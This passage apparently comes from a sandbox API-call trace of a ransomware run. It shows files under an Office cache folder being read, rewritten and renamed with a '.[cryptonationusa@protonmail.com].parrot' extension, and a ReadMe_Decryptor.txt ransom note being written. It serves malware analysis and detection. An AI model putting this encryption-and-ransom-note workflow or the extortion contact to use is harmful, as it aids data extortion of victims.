hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d448 | out: hHeap=0x5b0000) returned 1 [0114.920] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5d51f8 [0114.920] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0114.920] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b618 [0114.921] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d51f8 | out: hHeap=0x5b0000) returned 1 [0114.921] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x65f2e0 [0114.921] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b618 | out: hHeap=0x5b0000) returned 1 [0114.921] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x601838 [0114.921] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65f2e0 | out: hHeap=0x5b0000) returned 1 [0114.921] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176070 [0114.921] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0114.921] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x69c668 [0114.921] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176070 | out: hHeap=0x5b0000) returned 1 [0114.921] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x60c798 [0114.921] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69c668 | out: hHeap=0x5b0000) returned 1 [0114.921] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x5d2850 [0114.921] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0114.921] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0114.921] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0114.921] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x2210048 [0114.921] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0114.921] WriteFile (in: hFile=0x284, lpBuffer=0x2210048*, nNumberOfBytesToWrite=0x6d8, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2210048*, lpNumberOfBytesWritten=0x18eed4*=0x6d8, lpOverlapped=0x0) returned 1 [0114.921] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2210048 | out: hHeap=0x5b0000) returned 1 [0114.921] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6ca, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0114.921] CloseHandle (hObject=0x284) returned 1 [0114.922] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x683310 [0114.922] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x106) returned 0x69a668 [0114.922] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x683310 | out: hHeap=0x5b0000) returned 1 [0114.922] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0114.922] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69a668 | out: hHeap=0x5b0000) returned 1 [0114.922] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0114.922] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0114.922] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x63f228 [0114.922] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x5ccf38 [0114.922] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0114.922] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0114.924] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0114.924] ReadFile (in: hFile=0x258, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0114.925] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.926] ReadFile (in: hFile=0x258, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd4200, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0xd4200, lpOverlapped=0x0) returned 1 [0114.932] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0114.932] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0114.932] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0114.932] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0114.932] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0114.932] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d8fd0 [0114.932] GetLastError () returned 0x0 [0115.003] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.003] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4bb0 [0115.003] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0115.003] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0115.003] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4bb0 [0115.003] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0115.003] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0115.003] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0115.003] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4bb0 [0115.003] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0115.003] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0115.003] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0115.003] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0115.003] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0115.003] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604300 [0115.003] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0115.003] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d448 [0115.003] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604300 | out: hHeap=0x5b0000) returned 1 [0115.003] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0115.003] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d448 | out: hHeap=0x5b0000) returned 1 [0115.003] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5d51f8 [0115.003] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0115.003] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b618 [0115.003] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d51f8 | out: hHeap=0x5b0000) returned 1 [0115.003] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x65f248 [0115.003] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b618 | out: hHeap=0x5b0000) returned 1 [0115.003] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x601838 [0115.003] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65f248 | out: hHeap=0x5b0000) returned 1 [0115.003] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176070 [0115.003] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0115.004] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x69c668 [0115.004] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176070 | out: hHeap=0x5b0000) returned 1 [0115.004] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x60c798 [0115.004] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69c668 | out: hHeap=0x5b0000) returned 1 [0115.004] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x5d2850 [0115.004] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0115.004] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0115.004] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0115.004] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x69e650 [0115.004] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0115.004] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0115.004] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0115.004] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cee58 [0115.004] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0115.004] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x639220 [0115.004] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0115.004] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x685240 [0115.005] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0115.005] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x6881d8 [0115.005] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x685240 | out: hHeap=0x5b0000) returned 1 [0115.005] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x690250 [0115.005] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6881d8 | out: hHeap=0x5b0000) returned 1 [0115.009] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x647210 [0115.010] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x690250 | out: hHeap=0x5b0000) returned 1 [0115.010] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf02a) returned 0x3150048 [0115.011] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x647210 | out: hHeap=0x5b0000) returned 1 [0115.011] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1682d) returned 0x315f080 [0115.012] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3150048 | out: hHeap=0x5b0000) returned 1 [0115.012] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x21c32) returned 0x2210048 [0115.014] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x315f080 | out: hHeap=0x5b0000) returned 1 [0115.015] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x32a39) returned 0x3178458 [0115.017] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2210048 | out: hHeap=0x5b0000) returned 1 [0115.018] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4bf44) returned 0x2210048 [0115.020] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3178458 | out: hHeap=0x5b0000) returned 1 [0115.021] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x71ed4) returned 0x225bf98 [0115.026] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2210048 | out: hHeap=0x5b0000) returned 1 [0115.028] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xaae2c) returned 0x3020020 [0115.058] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0115.059] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6823c8 | out: hHeap=0x5b0000) returned 1 [0115.059] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0115.060] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f10020 | out: hHeap=0x5b0000) returned 1 [0115.063] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x601838 [0115.063] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x683310 [0115.064] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0115.064] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0115.064] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\ReadMe_Decryptor.txt" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18efb8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x258 [0115.064] GetFileType (hFile=0x258) returned 0x1 [0115.064] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d8fd0 [0115.075] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0115.075] ReadFile (in: hFile=0x258, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0115.077] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.077] ReadFile (in: hFile=0x258, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x32b, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x32b, lpOverlapped=0x0) returned 1 [0115.077] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0115.077] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0115.077] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0115.077] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0115.077] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0115.077] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d8fd0 [0115.077] GetLastError () returned 0x0 [0115.077] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.077] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4bb0 [0115.077] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0115.077] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0115.077] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4bb0 [0115.077] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0115.077] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0115.077] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0115.078] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4bb0 [0115.078] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0115.078] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0115.078] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0115.078] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0115.078] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0115.078] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604300 [0115.078] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0115.078] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d448 [0115.078] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604300 | out: hHeap=0x5b0000) returned 1 [0115.078] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0115.078] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d448 | out: hHeap=0x5b0000) returned 1 [0115.078] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5d51f8 [0115.078] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0115.078] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b618 [0115.078] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d51f8 | out: hHeap=0x5b0000) returned 1 [0115.078] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x65f248 [0115.078] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b618 | out: hHeap=0x5b0000) returned 1 [0115.078] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x601838 [0115.078] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65f248 | out: hHeap=0x5b0000) returned 1 [0115.078] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176070 [0115.078] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0115.078] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x69c668 [0115.078] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176070 | out: hHeap=0x5b0000) returned 1 [0115.078] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x60c798 [0115.078] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69c668 | out: hHeap=0x5b0000) returned 1 [0115.078] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x5d2850 [0115.078] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0115.078] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0115.078] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0115.078] WriteFile (in: hFile=0x258, lpBuffer=0x5d33c8*, nNumberOfBytesToWrite=0x448, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x5d33c8*, lpNumberOfBytesWritten=0x18f1c4*=0x448, lpOverlapped=0x0) returned 1 [0115.079] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0115.079] UnlockFile (hFile=0x258, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x443, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0115.079] CloseHandle (hObject=0x258) returned 1 [0115.079] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x63f228 [0115.079] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x6823c8 [0115.079] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x63f228 | out: hHeap=0x5b0000) returned 1 [0115.079] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0115.080] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6823c8 | out: hHeap=0x5b0000) returned 1 [0115.080] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0115.080] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cabe0 | out: hHeap=0x5b0000) returned 1 [0115.080] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x601838 [0115.080] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x683310 [0115.080] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0115.080] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0115.082] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0115.082] ReadFile (in: hFile=0x258, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0115.083] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.083] ReadFile (in: hFile=0x258, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x16fc, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x16fc, lpOverlapped=0x0) returned 1 [0115.084] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0115.084] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0115.084] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0115.084] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0115.084] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0115.084] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d8fd0 [0115.084] GetLastError () returned 0x0 [0115.084] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.084] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4bb0 [0115.084] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0115.084] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0115.084] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4bb0 [0115.084] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0115.084] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0115.084] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0115.084] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4bb0 [0115.084] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0115.085] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0115.085] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0115.085] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0115.085] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0115.085] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604300 [0115.085] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0115.085] RtlAllocateHeap 